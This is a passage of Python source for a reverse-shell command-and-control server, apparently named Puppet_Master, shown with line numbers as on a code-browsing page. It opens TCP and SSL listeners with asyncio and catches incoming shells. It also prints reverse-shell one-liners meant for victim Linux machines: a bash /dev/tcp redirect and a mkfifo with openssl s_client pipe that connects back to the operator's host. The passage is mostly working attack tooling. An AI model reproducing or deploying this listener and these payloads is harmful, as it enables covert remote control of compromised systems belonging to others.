()
| 376 | opener = urllib.request.urlopen(request) |
| 377 | |
| 378 | async def main(): |
| 379 | keyfile = 'key.pem' |
| 380 | certfile = 'cert.pem' |
| 381 | SSLcontext = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER) |
| 382 | SSLcontext.load_cert_chain(certfile=certfile, keyfile=keyfile) |
| 383 | reverse_tcp_server = await asyncio.start_server(handle_shell_init, '0.0.0.0', reverse_tcp_port ) |
| 384 | reverse_ssl_server = await asyncio.start_server(handle_shell_init, '0.0.0.0', reverse_ssl_port, ssl=SSLcontext ) |
| 385 | #MultiMaster = await asyncio.start_server(MultiMaster, '0.0.0.0', MultiMaster_port, ssl=SSLcontext ) |
| 386 | |
| 387 | addr = reverse_tcp_server.sockets[0].getsockname() |
| 388 | addr = addr[0]+":"+str(addr[1]) |
| 389 | |
| 390 | ssl_addr = reverse_ssl_server.sockets[0].getsockname() |
| 391 | ssl_addr = ssl_addr[0]+":"+str(ssl_addr[1]) |
| 392 | |
| 393 | PrintInfo("socketListener : "+addr) |
| 394 | PrintInfo("SSLSocketListener : "+ssl_addr) |
| 395 | |
| 396 | PrintInfo( f"LinuxReverseTCPCommand : bash -i>&/dev/tcp/{reverse_host}/{reverse_tcp_port} 0>&1" ) |
| 397 | PrintInfo( f"LinuxReverseSSLCommand : mkfifo /tmp/-;bash -i</tmp/-|&openssl s_client -quiet -connect {reverse_host}:{reverse_ssl_port}>/tmp/-;rm /tmp/-" ) |
| 398 | print() |
| 399 | |
| 400 | console = await MasterConsole() |
| 401 | # 循环运行服务器 |
| 402 | Puppet_Master.handlers.append( reverse_tcp_server ) |
| 403 | Puppet_Master.handlers.append( reverse_ssl_server ) |
| 404 | |
| 405 | async with reverse_tcp_server, reverse_ssl_server: |
| 406 | await reverse_tcp_server.serve_forever() |
| 407 | await reverse_ssl_server.serve_forever() |
| 408 | |
| 409 | asyncio.run(main()) |
no test coverage detected